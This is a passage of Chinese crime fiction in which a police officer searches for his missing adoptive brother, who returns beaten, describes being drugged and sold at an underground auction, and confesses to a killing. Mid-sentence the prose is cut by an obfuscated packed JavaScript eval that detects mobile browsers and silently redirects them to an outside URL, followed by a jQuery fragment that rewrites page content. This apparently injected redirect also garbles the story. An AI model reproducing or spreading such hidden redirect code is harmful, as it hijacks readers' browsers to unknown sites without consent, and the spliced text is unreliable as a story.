小杰克感觉头都要炸了。一大早苏打电话来说特拉没有来上班。特拉的电话也打不通。他们只是在特拉回家的必经小路上看见了他那辆老车，半面支离破碎得停在那里。现场没有监控，特拉就像人间蒸发一样，一时半会儿真得不到半点线索。被老爹知道这件事，他肯定又得急得拿手杖敲人了。
这个兔崽子，他可别死了。
小杰克揉了揉发胀的太阳穴，阳光透过警务室的窗户照进来，映着他淡金色的卷发。闭上眼睛，大脑有些混乱。
特拉这小子平时开车就不太行，踩油门不看码数，开上路不认车道，这样的小城镇他都能两百码在两条车道中间一路飞过去，知道特拉的知道他性子急躁，车品差，不知道的还以为是抢了银行急着销赃呢。可是特拉反应能力还算强，小杰克坐副驾驶时总是能被吓出一身冷汗，却从来有惊无险。读了书还是改不掉骨子里的匪气，分明从长相到写作天赋都是个不折不扣的文弱书生。
他怎么会在下班时间和别人碰上了呢。况且……出事的地方在他那边的车道里，另一辆车已经不见踪影了。委实蹊跷。
小杰克再一次拨打了特拉的电话，良久，还是忙音。
“喂……老爹，还在查。昨天夜里的事。那没监控，可能要追到线索还需要一段时间。”小杰克接了前局长的电话，不出所料的，他父亲在电话那头暴跳如雷地骂他，自己就是个干警察的，义弟就这么平白无故消失了，却什么都做不了，属实是窝囊透顶。活要见人死要见尸，搞得这么不死不活，也没个消息，白叫他老人家提心吊胆。
小杰克撂下电话，轻轻叹了口气，把枪套子系在腰上，准备自己带人再去事故地点检查一遍。
车灯碎片，被撞瘪的车身，剐蹭到的是玫红色的漆……喜欢把车刷成这个颜色的人多了去了，谁知道是哪辆撞了他呢。再说，这么长时间，这辆车可能早就已经被开到不知道哪个天涯海角去了。
该死的特拉，也没留下记号什么的。千万别是给人带到山里杀害了。
一直忙忙碌碌得到太阳下山，调了昨夜附近路口的监控，记录下可疑车辆，进展还是微乎其微。
下班后，小杰克一个人在警务室做着记录，累了就趴在桌上小憩一会儿。两三点钟的时候，外面下雨了。雨水打在窗户上，悉悉索索得吵醒了迷迷糊糊的小杰克。他走到窗前，把窗打开，夏季的风雨吹到脸上，也能让自己清醒一些。黑色警服沾了雨，颜色斑斑驳驳得深。小杰克止不住得叹气，若像他怀疑的那样是一起绑架，谁又会和特拉结下梁子？难不成是自己的对头？倒也不是没可能。他和父亲两个做警察的，仇家可不少。
小杰克是个没出息的，心眼也实，前警长的儿子，到现在还没什么出路，仍是个有事出警、时常加班的低级警员。但他也乐在其中，用他的话来说，就是各得其所。他身材高大匀称，也很有运动天赋，被父亲训练出了一副好身手，游泳、射击、近身格斗，成绩都优秀。他胆子也大，追过歹徒，劫过匪车，办案时心思也细。他比特拉大不到一岁，两个人的感情也还说得过去。特拉性子比较劣，总是冷着个臭脸，小杰克属于是没事多担待的那一位。
不知道这个兔崽子现在在哪，有没有受苦。
小杰克想着像特拉这样的小文员能吃什么苦呢。要是真被仇家活活治死了，千万不能让老爹知道。
太阳都快出来了，天边泛起鱼肚白，小杰克茫茫然的看不见希望。
一阵电话铃声打断了他的思绪。谁在这个点报警呢？
是特拉家的座机号码。
“小杰克。”提起电话放在耳边，那头果然是消失了整一天一夜的特拉的声音。他叫了小杰克一声，接着就是长久的沉默。
小杰克也懵住了，说不出话。
“我已经给老爹打过电话了。不用担心，我活着。手机应该是被搜掉了。没事了。”特拉没头没脑地来了几句，显然没抓住重点。
小杰克整个人都在发抖，不知是因为连续办案一天一夜累的，还是从担心到震惊的大跨度转变给他带来的大脑过载。那头特拉的语气波澜不惊，和他平常一样没心没肺。没听到小杰克回应，竟然自顾自说了声早安，挂掉了。
手机被搜掉了？什么搜掉了，谁搜的？这个兔崽子……面对一阵忙音，小杰克久久才把听筒又放回去，抓起一件薄外套，拿了车钥匙就往特拉家赶去。
雨越下越大了。车窗上像是有水泼下来，小杰克的雨刮器来回刮个不停，把他的心摩擦得发烫。他焦躁不安地抓着方向盘，油门踩得快飞起来。
特拉才刚坐下，想在休息之前点支烟，平复一下烦躁的心。还没抽两口，就听见公寓的门被敲得砰砰响，几乎要把门锤开的架势。他不用猜都知道是小杰克这个混蛋。怕他把老爹也带来，特拉只好迅速掐了烟，起身去开门。
小杰克一脸震惊，绿色的瞳仁定定地盯着来开门的特拉。这家伙一身疲态，光着膀子，身上横七竖八的伤，右手几乎溃烂了，头发乱糟糟的，黑色的西裤撕破了，还溅了泥水，简直像个被路过的车溅起的积水淋了一身的乞丐。
“你……”槽点太多，几乎无从问起。他到底怎么了？经历了什么？为什么突然又回来了？一副这个样子。
特拉把小杰克拉进门，见他是一个人来的，又心安理得地点了支烟，翘着二郎腿，眯起眼睛坐在沙发上惬意得抽起来。
“发生什么了？”小杰克保持着震惊的状态，看着特拉吐出一口烟圈，才怔怔地问出了第一个问题。
特拉享受得看着小杰克，就像失忆了一样，满脑子只剩下烟草燃烧带来的愉悦。艰难地思考了好一阵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15487762|170109||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子，才慢慢吞吞地吐出一句：“车撞了。有人想把我卖了。就离这不远。”
小杰克咬着下唇，眉头紧锁地看着他。cpu过载了好一阵才慢慢问：“谁……绑架了你，你记得些什么，可以告诉我吗？”
特拉欠身弹了烟灰，又慢慢靠回沙发里，吸了口，眯起双眼：“那天我稿子改晚了，凌晨才回家去。在蓝山旁边的小路上给一辆小狮子（盾形车标豪车的别称）撞了。当时我没下车……可能是故意的。有人用暗针给我上了药。”他撩起头发，露出脖子后面还有些肿的地方给小杰克看。
“……麻醉枪。这伤口，用的剂量可真不小。”小杰克起身查看，皱着眉说。
“说来也滑稽。我醒过来的时候被关在狗笼子里，在一个地下拍卖会。就在几十公里外山里的庄园。一时半会儿我可能……弄不清具体方位。我逃出来的时候自己都不知道在哪，一直走到公路上才慢慢有方向感的。”特拉又弹了弹烟灰，疲惫感让他那双长着纤长浓密睫毛的漂亮眼睛添了几分老成的优雅，用余光瞥一眼聚精会神的小杰克，“拦了辆过路的货车给我送回来，足足开了一个多时辰，才到了城里。”
小杰克看了看特拉一身的伤，喉结滚动了一下，问题仿佛都被噎住了。他眼看着特拉把烟捻灭扔掉，又掏出一支新的，拿起桌上的打火机，破天荒地没有阻止。特拉咬着烟，自顾自地继续说：“那帮人有枪。”
“是自制的吗？”小杰克追问。很多罪犯不会选择从市面上购买大批量枪支，登记的时候容易被有关部门叼住尾巴。自制枪械更加隐蔽。
特拉摇了摇头。“M16。看起来有人批量供货。我没看清是哪个批次的。”
窗外的雨渐渐小了些，清晨的阳光透过窗户照了进来。特拉不说话，会客厅陷入长久的寂静。
小杰克留意到特拉有些倦怠的神情，捏着烟迷迷糊糊地忘记放进嘴里。他意识到特拉可能已经辗转跋涉了一整夜，还是试探着问了一下：“……没问题吗？要不要我送你去医院检查一下身体？”
“不必。”特拉倒是回答得很快。他最后吸了口烟，摁灭在烟缸里，闭上眼倒在沙发上，“那群婊子养的不把人当人。我在他们杂物间里捡到一把刀，放在厨房那边的架子上了，你可以拿去看看，说不定会有线索。”
小杰克看见特拉惬意地翻了个身侧卧着，不再说话，就默默站了起来，去厨房查看那把刀。他静悄悄地走出几步，尽量不打扰特拉休息。特拉的呼吸变得均匀。青年虽然外表脏兮兮的，甚至有些狼狈不堪，在舒展的五官上却看不出一丝恐惧和慌张。小杰克以为他睡熟了，从他的脸上移开目光。还没等离开会客室，身后却又响起了特拉的声音。一样波澜不惊，平静而清晰。
“小杰克……我杀了人。”
啊……是正当防卫吗？